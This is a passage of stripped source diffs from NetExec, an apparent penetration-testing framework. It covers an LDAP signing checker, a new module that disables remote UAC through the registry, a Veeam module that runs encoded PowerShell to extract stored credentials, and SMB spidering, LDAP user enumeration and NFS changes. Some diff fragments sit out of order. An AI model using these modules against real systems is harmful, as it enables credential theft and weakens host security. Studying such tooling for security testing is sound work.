# LDAPS bind successful
|
||||
return False
|
||||
# because LDAP server signing requirements are not enforced
|
||||
except Exception as e:
|
||||
context.log.debug(f"Exception during LDAP bind: {e}")
|
||||
return None
|
||||
|
||||
# Determine authentication context and proceed to
|
||||
# enumerate LDAP signing and channel binding settings
|
||||
def on_login(self, context, connection):
|
||||
stype = asyauthSecret.PASS
|
||||
secret = connection.password
|
||||
if connection.nthash:
|
||||
stype = asyauthSecret.NT
|
||||
secret = connection.nthash
|
||||
if connection.aesKey:
|
||||
stype = asyauthSecret.AES
|
||||
secret = connection.aesKey
|
||||
|
||||
anon_credential = NTLMCredential(
|
||||
secret="",
|
||||
username="",
|
||||
domain=connection.domain,
|
||||
stype=asyauthSecret.PASS
|
||||
)
|
||||
|
||||
if not connection.username and not secret:
|
||||
context.log.highlight("No credentials provided, skipping LDAP signing check")
|
||||
credential = anon_credential
|
||||
else:
|
||||
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
|
||||
if not connection.kerberos:
|
||||
credential = NTLMCredential(
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype
|
||||
)
|
||||
else:
|
||||
kerberos_target = UniTarget(
|
||||
connection.host,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
hostname=connection.remoteName,
|
||||
dc_ip=connection.kdcHost,
|
||||
domain=connection.domain,
|
||||
proxies=None,
|
||||
dns=None,
|
||||
)
|
||||
credential = KerberosCredential(
|
||||
target=kerberos_target,
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype,
|
||||
)
|
||||
|
||||
ldap_signing_status = None
|
||||
if connection.username or secret:
|
||||
target = MSLDAPTarget(
|
||||
connection.host, 389,
|
||||
hostname=connection.remoteName,
|
||||
domain=connection.domain,
|
||||
dc_ip=connection.kdcHost,
|
||||
)
|
||||
ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential))
|
||||
if ldap_signing_status is True:
|
||||
context.log.highlight("LDAP signing IS enforced")
|
||||
elif ldap_signing_status is False:
|
||||
context.log.highlight("LDAP signing NOT enforced")
|
||||
else:
|
||||
context.log.fail("Could not determine LDAP signing requirement.")
|
||||
|
||||
if self.does_ldaps_complete_handshake(context, connection.host):
|
||||
target = MSLDAPTarget(
|
||||
connection.host, 636,
|
||||
UniProto.CLIENT_SSL_TCP,
|
||||
hostname=connection.remoteName,
|
||||
domain=connection.domain,
|
||||
dc_ip=connection.kdcHost,
|
||||
)
|
||||
ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential))
|
||||
ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential))
|
||||
|
||||
if ldaps_noEPA is False and ldaps_withEPA is True:
|
||||
context.log.highlight("LDAPS channel binding is set to: When Supported")
|
||||
elif ldaps_noEPA is False and ldaps_withEPA is False:
|
||||
context.log.highlight("LDAPS channel binding is set to: Never")
|
||||
elif ldaps_noEPA is True:
|
||||
context.log.highlight("LDAPS channel binding is set to: Required")
|
||||
else:
|
||||
context.log.fail("Could not determine LDAPS channel binding settings")
|
||||
else:
|
||||
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
|
||||
@@ -36,8 +36,8 @@ class NXCModule:
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("C$", file_path, buf.write)
|
||||
buf.seek(0)
|
||||
file_content = buf.read().decode("utf-8", errors="ignore").lower()
|
||||
keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword in file_content]
|
||||
file_content = buf.read().decode("utf-8", errors="ignore")
|
||||
keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content.lower()]
|
||||
if len(keywords):
|
||||
context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]")
|
||||
else:
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @Defte_"""
|
||||
name = "remote-uac"
|
||||
description = "Enable or disable remote UAC"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.action = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Enables UAC (prevent non RID500 account to get high priv token remotely)
|
||||
Disables UAC (allow non RID500 account to get high priv token remotely)
|
||||
|
||||
ACTION: "enable" or "disable" (required)
|
||||
"""
|
||||
if "ACTION" not in module_options:
|
||||
context.log.fail("ACTION option not specified!")
|
||||
return
|
||||
|
||||
if module_options["ACTION"].lower() not in ["enable", "disable"]:
|
||||
context.log.fail("ACTION must be either enable, disable or query")
|
||||
return
|
||||
self.action = module_options["ACTION"].lower()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")["phkResult"]
|
||||
|
||||
# Checks if the key already exists or not
|
||||
try:
|
||||
rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00")
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" in str(e):
|
||||
context.log.debug("Registry key 'LocalAccountTokenFilterPolicy' does not exist, creating it")
|
||||
ans = rrp.hBaseRegCreateKey(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00")
|
||||
|
||||
# Disable remote UAC
|
||||
if self.action == "disable":
|
||||
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 1)
|
||||
context.log.highlight("Remote UAC disabled")
|
||||
|
||||
# Enable remote UAC
|
||||
if self.action == "enable":
|
||||
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 0)
|
||||
context.log.highlight("Remote UAC enabled")
|
||||
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error {e}")
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
+11
-12
@@ -3,10 +3,11 @@ import errno
|
||||
from os.path import abspath, join, split, exists, splitext, getsize, sep
|
||||
from os import makedirs, remove, stat
|
||||
import time
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.smb.remotefile import RemoteFile
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.nmb import NetBIOSTimeout
|
||||
|
||||
|
||||
CHUNK_SIZE = 4096
|
||||
@@ -116,18 +117,16 @@ class SMBSpiderPlus:
|
||||
filelist = self.smb.conn.listPath(share, subfolder + "*")
|
||||
|
||||
except SessionError as e:
|
||||
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}".')
|
||||
self.logger.debug(str(e))
|
||||
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}')
|
||||
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.logger.debug(f'Cannot list files in folder "{subfolder}".')
|
||||
|
||||
elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
|
||||
self.logger.debug(f"The folder {subfolder} does not exist.")
|
||||
|
||||
elif self.reconnect():
|
||||
filelist = self.list_path(share, subfolder)
|
||||
|
||||
except NetBIOSTimeout as e:
|
||||
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}')
|
||||
return filelist
|
||||
|
||||
def get_remote_file(self, share, path):
|
||||
@@ -166,7 +165,7 @@ class SMBSpiderPlus:
|
||||
|
||||
def get_file_save_path(self, remote_file):
|
||||
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
|
||||
|
||||
|
||||
It converts forward slashes (/) and backslashes (\) in the remote file path to the appropriate path separator for the local file system.
|
||||
The folder path and filename are then obtained separately.
|
||||
"""
|
||||
@@ -213,9 +212,9 @@ class SMBSpiderPlus:
|
||||
# Start the spider at the root of the share folder
|
||||
self.results[share_name] = {}
|
||||
self.spider_folder(share_name, "")
|
||||
except SessionError as e:
|
||||
except (SessionError, NetBIOSTimeout) as e:
|
||||
self.logger.exception(e)
|
||||
self.logger.fail("Got a session error while spidering.")
|
||||
self.logger.fail(f"Got a session or NetBIOSTimeout error while spidering share: {share_name}")
|
||||
self.reconnect()
|
||||
|
||||
except Exception as e:
|
||||
@@ -374,7 +373,7 @@ class SMBSpiderPlus:
|
||||
|
||||
def dump_folder_metadata(self, results):
|
||||
"""Takes the metadata results as input and writes them to a JSON file in the `self.output_folder`.
|
||||
|
||||
|
||||
The results are formatted with indentation and sorted keys before being written to the file.
|
||||
"""
|
||||
metadata_path = join(self.output_folder, f"{self.host}.json")
|
||||
@@ -486,7 +485,7 @@ class NXCModule:
|
||||
EXCLUDE_EXTS Case-insensitive extension filter to exclude (Default: ico,lnk)
|
||||
EXCLUDE_FILTER Case-insensitive filter to exclude folders/files (Default: print$,ipc$)
|
||||
MAX_FILE_SIZE Max file size to download (Default: 51200)
|
||||
OUTPUT_FOLDER Path of the local folder to save files (Default: /tmp/nxc_spider_plus)
|
||||
OUTPUT_FOLDER Path of the local folder to save files (Default: ~/.nxc/nxc_spider_plus)
|
||||
"""
|
||||
self.download_flag = False
|
||||
if any("DOWNLOAD" in key for key in module_options):
|
||||
@@ -499,7 +498,7 @@ class NXCModule:
|
||||
self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
|
||||
self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive
|
||||
self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
|
||||
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
|
||||
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(NXC_PATH, "modules/nxc_spider_plus")))
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Started module spidering_plus with the following options:")
|
||||
|
||||
+35
-13
@@ -40,6 +40,9 @@ class NXCModule:
|
||||
PostgresUserForWindowsAuth = ""
|
||||
SqlDatabaseName = ""
|
||||
|
||||
# Salt for newer Veeam versions
|
||||
salt = ""
|
||||
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
@@ -72,6 +75,8 @@ class NXCModule:
|
||||
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
|
||||
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
|
||||
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
|
||||
|
||||
salt = self.get_salt(context, remoteOps, regHandle)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug("No Veeam v12 installation found")
|
||||
@@ -107,28 +112,38 @@ class NXCModule:
|
||||
# Check if we found an SQL Server of some kind
|
||||
if SqlDatabase and SqlInstance and SqlServer:
|
||||
context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...')
|
||||
credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer)
|
||||
credentials = self.executePsMssql(connection, SqlDatabase, SqlInstance, SqlServer, salt)
|
||||
self.printCreds(context, credentials)
|
||||
elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName:
|
||||
context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...')
|
||||
credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName)
|
||||
credentials = self.executePsPostgreSql(connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt)
|
||||
self.printCreds(context, credentials)
|
||||
|
||||
def stripXmlOutput(self, context, output):
|
||||
return output.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
def get_salt(self, context, remoteOps, regHandle):
|
||||
try:
|
||||
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\Data")["phkResult"]
|
||||
return rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EncryptionSalt")[1].split("\x00")[:-1][0]
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug("No Salt found")
|
||||
except Exception as e:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
|
||||
def executePsMssql(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
|
||||
def executePsMssql(self, connection, SqlDatabase, SqlInstance, SqlServer, salt):
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_b64Salt", salt)
|
||||
psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
|
||||
|
||||
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
|
||||
|
||||
def executePsPostgreSql(self, context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName):
|
||||
def executePsPostgreSql(self, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt):
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgresUserForWindowsAuth", PostgresUserForWindowsAuth)
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_b64Salt", salt)
|
||||
psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
|
||||
|
||||
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
|
||||
@@ -136,7 +151,7 @@ class NXCModule:
|
||||
def printCreds(self, context, output):
|
||||
# Format output if returned in some XML Format
|
||||
if "CLIXML" in output:
|
||||
output = self.stripXmlOutput(context, output)
|
||||
output = output.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
|
||||
if "Access denied" in output:
|
||||
context.log.fail("Access denied! This is probably due to an AntiVirus software blocking the execution of the PowerShell script.")
|
||||
@@ -152,13 +167,20 @@ class NXCModule:
|
||||
# When powershell returns something else than the usernames and passwords account.split() will throw a ValueError.
|
||||
# This is likely an error thrown by powershell, so we print the error and the output for debugging purposes.
|
||||
try:
|
||||
context.log.highlight(f"{'Username':<40} {'Password':<40} {'Description'}")
|
||||
context.log.highlight(f"{'--------':<40} {'--------':<40} {'-----------'}")
|
||||
for account in output_stripped:
|
||||
user, password = account.split(" ", 1)
|
||||
password = password.strip().replace("WHITESPACE_ERROR", " ")
|
||||
user = user.strip()
|
||||
context.log.highlight(f"{user}:{password}")
|
||||
if " " in password:
|
||||
context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"')
|
||||
# Remove multiple whitespaces
|
||||
account = " ".join(account.split())
|
||||
try:
|
||||
user, password, description = account.split(" ", 2)
|
||||
except ValueError:
|
||||
user, password = account.split(" ", 1)
|
||||
description = ""
|
||||
user = user.strip().replace("WHITESPACE_ERROR", " ").strip()
|
||||
password = password.strip().replace("WHITESPACE_ERROR", " ").strip()
|
||||
description = description.strip().replace("WHITESPACE_ERROR", " ").strip()
|
||||
context.log.highlight(f"{user:<40} {password:<40} {description}")
|
||||
except ValueError:
|
||||
context.log.fail(f"Powershell returned unexpected output: {output_stripped}")
|
||||
context.log.fail("Please report this issue on GitHub!")
|
||||
|
||||
+35
-87
@@ -3,8 +3,9 @@
|
||||
import hashlib
|
||||
import hmac
|
||||
import os
|
||||
from errno import EHOSTUNREACH
|
||||
from binascii import hexlify
|
||||
from datetime import datetime, timedelta
|
||||
from datetime import datetime
|
||||
from re import sub, I
|
||||
from zipfile import ZipFile
|
||||
from termcolor import colored
|
||||
@@ -209,7 +210,11 @@ class ldap(connection):
|
||||
self.logger.debug(f"{e} on host {self.host}")
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.error(f"Error getting ldap info {e}")
|
||||
if e.errno == EHOSTUNREACH:
|
||||
self.logger.info(f"Error connecting to {self.host} - {e}")
|
||||
return False
|
||||
else:
|
||||
self.logger.error(f"Error getting ldap info {e}")
|
||||
|
||||
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
|
||||
self.target = target
|
||||
@@ -573,7 +578,7 @@ class ldap(connection):
|
||||
attributes = ["objectSid"]
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
answers = []
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "":
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "") and self.username != "":
|
||||
for attribute in resp[0][1]:
|
||||
if str(attribute["type"]) == "objectSid":
|
||||
sid = self.sid_to_str(attribute["vals"][0])
|
||||
@@ -651,38 +656,25 @@ class ldap(connection):
|
||||
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})"
|
||||
else:
|
||||
self.logger.debug("Trying to dump all users")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
search_filter = "(sAMAccountType=805306368)"
|
||||
|
||||
# default to these attributes to mirror the SMB --users functionality
|
||||
# Default to these attributes to mirror the SMB --users functionality
|
||||
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"]
|
||||
resp = self.search(search_filter, request_attributes, sizeLimit=0)
|
||||
|
||||
if resp:
|
||||
# I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it
|
||||
if self.username == "":
|
||||
self.logger.display(f"Total records returned: {len(resp):d}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
return
|
||||
resp_parse = parse_result_attributes(resp)
|
||||
|
||||
users = parse_result_attributes(resp)
|
||||
# we print the total records after we parse the results since often SearchResultReferences are returned
|
||||
self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
for user in users:
|
||||
# TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
|
||||
parsed_pw_last_set = ""
|
||||
# We print the total records after we parse the results since often SearchResultReferences are returned
|
||||
self.logger.display(f"Enumerated {len(resp_parse):d} domain users: {self.domain}")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}")
|
||||
for user in resp_parse:
|
||||
pwd_last_set = user.get("pwdLastSet", "")
|
||||
if pwd_last_set != "":
|
||||
timestamp_seconds = int(pwd_last_set) / 10**7
|
||||
start_date = datetime(1601, 1, 1)
|
||||
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
|
||||
if parsed_pw_last_set == "1601-01-01 00:00:00":
|
||||
parsed_pw_last_set = "<never>"
|
||||
# we default attributes to blank strings if they don't exist in the dict
|
||||
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}")
|
||||
if pwd_last_set:
|
||||
pwd_last_set = "<never>" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
# We default attributes to blank strings if they don't exist in the dict
|
||||
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}")
|
||||
|
||||
def groups(self):
|
||||
# Building the search filter
|
||||
@@ -730,7 +722,7 @@ class ldap(connection):
|
||||
for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]:
|
||||
if found_record:
|
||||
break # If a record has been found, stop checking further
|
||||
|
||||
|
||||
try:
|
||||
answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp)
|
||||
for rdata in answers:
|
||||
@@ -763,73 +755,29 @@ class ldap(connection):
|
||||
|
||||
def active_users(self):
|
||||
if len(self.args.active_users) > 0:
|
||||
arg = True
|
||||
self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
|
||||
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
|
||||
else:
|
||||
arg = False
|
||||
self.logger.debug("Trying to dump all users")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
search_filter = "(sAMAccountType=805306368)"
|
||||
|
||||
# default to these attributes to mirror the SMB --users functionality
|
||||
# Default to these attributes to mirror the SMB --users functionality
|
||||
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"]
|
||||
resp = self.search(search_filter, request_attributes, sizeLimit=0)
|
||||
allusers = parse_result_attributes(resp)
|
||||
|
||||
count = 0
|
||||
activeusers = []
|
||||
argsusers = []
|
||||
if resp:
|
||||
all_users = parse_result_attributes(resp)
|
||||
# Filter disabled users (ignore accounts without userAccountControl value)
|
||||
active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)]
|
||||
|
||||
if arg:
|
||||
resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0)
|
||||
users_args = parse_result_attributes(resp_args)
|
||||
# This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing
|
||||
for i in range(len(self.args.active_users)):
|
||||
try:
|
||||
argsusers.append(users_args[i])
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
else:
|
||||
argsusers = allusers
|
||||
self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}")
|
||||
|
||||
for user in allusers:
|
||||
user_account_control = user.get("userAccountControl")
|
||||
if user_account_control is not None: # Check if user_account_control is not None
|
||||
account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list
|
||||
account_disabled = int(account_control) & 2
|
||||
if not account_disabled:
|
||||
count += 1
|
||||
activeusers.append(user.get("sAMAccountName").lower())
|
||||
else:
|
||||
self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None")
|
||||
|
||||
if self.username == "":
|
||||
self.logger.display(f"Total records returned: {len(resp):d}")
|
||||
for item in resp_args:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
return
|
||||
self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
|
||||
for arguser in argsusers:
|
||||
pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string.
|
||||
if pwd_last_set: # Checks if pwdLastSet is empty or not.
|
||||
timestamp_seconds = int(pwd_last_set) / 10**7 # Converts pwdLastSet to an integer.
|
||||
start_date = datetime(1601, 1, 1)
|
||||
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
|
||||
if parsed_pw_last_set == "1601-01-01 00:00:00":
|
||||
parsed_pw_last_set = "<never>"
|
||||
|
||||
if arguser.get("sAMAccountName").lower() in activeusers and arg is False:
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True:
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
elif (arguser.get("sAMAccountName").lower() in activeusers):
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
for user in active_users:
|
||||
pwd_last_set = user.get("pwdLastSet", "")
|
||||
if pwd_last_set:
|
||||
pwd_last_set = "<never>" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S")
|
||||
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}")
|
||||
|
||||
def asreproast(self):
|
||||
if self.password == "" and self.nthash == "" and self.kerberos is False:
|
||||
|
||||
@@ -48,7 +48,7 @@ class MSSQLEXEC:
|
||||
|
||||
def backup_and_enable(self, option):
|
||||
try:
|
||||
self.backuped_options[option] = self.is_option_enabled("show advanced options")
|
||||
self.backuped_options[option] = self.is_option_enabled(option)
|
||||
if not self.backuped_options[option]:
|
||||
self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.")
|
||||
query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;"
|
||||
|
||||
+368
-35
@@ -1,13 +1,75 @@
|
||||
from termcolor import colored
|
||||
from nxc.connection import connection
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.helpers.logger import highlight
|
||||
from pyNfsClient import Portmap, Mount, NFSv3, NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3
|
||||
from nxc.config import host_info_colors
|
||||
from pyNfsClient import (
|
||||
Portmap,
|
||||
Mount,
|
||||
NFSv3,
|
||||
)
|
||||
from pyNfsClient.const import (
|
||||
NFS_PROGRAM,
|
||||
NFS_V3,
|
||||
ACCESS3_READ,
|
||||
ACCESS3_MODIFY,
|
||||
ACCESS3_EXECUTE,
|
||||
NFSSTAT3,
|
||||
NFS3ERR_NOENT,
|
||||
NF3REG,
|
||||
)
|
||||
import re
|
||||
import uuid
|
||||
import math
|
||||
import os
|
||||
|
||||
|
||||
class FileID:
|
||||
root = "root"
|
||||
ext = "ext/xfs"
|
||||
btrfs = "btrfs"
|
||||
udf = "udf"
|
||||
nilfs = "nilfs"
|
||||
fat = "fat"
|
||||
lustre = "lustre"
|
||||
kernfs = "kernfs"
|
||||
invalid = "invalid"
|
||||
unknown = "unknown"
|
||||
|
||||
|
||||
# src: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
|
||||
fileid_types = {
|
||||
0: FileID.root,
|
||||
1: FileID.ext,
|
||||
2: FileID.ext,
|
||||
0x81: FileID.ext,
|
||||
0x4d: FileID.btrfs,
|
||||
0x4e: FileID.btrfs,
|
||||
0x4f: FileID.btrfs,
|
||||
0x51: FileID.udf,
|
||||
0x52: FileID.udf,
|
||||
0x61: FileID.nilfs,
|
||||
0x62: FileID.nilfs,
|
||||
0x71: FileID.fat,
|
||||
0x72: FileID.fat,
|
||||
0x97: FileID.lustre,
|
||||
0xfe: FileID.kernfs,
|
||||
0xff: FileID.invalid
|
||||
}
|
||||
|
||||
# src: https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L17-L45
|
||||
fsid_lens = {
|
||||
0: 8,
|
||||
1: 4,
|
||||
2: 12,
|
||||
3: 8,
|
||||
4: 8,
|
||||
5: 8,
|
||||
6: 16,
|
||||
7: 24,
|
||||
}
|
||||
|
||||
|
||||
class nfs(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.protocol = "nfs"
|
||||
@@ -22,6 +84,10 @@ class nfs(connection):
|
||||
"gid": 0,
|
||||
"aux_gid": [],
|
||||
}
|
||||
self.root_escape = False
|
||||
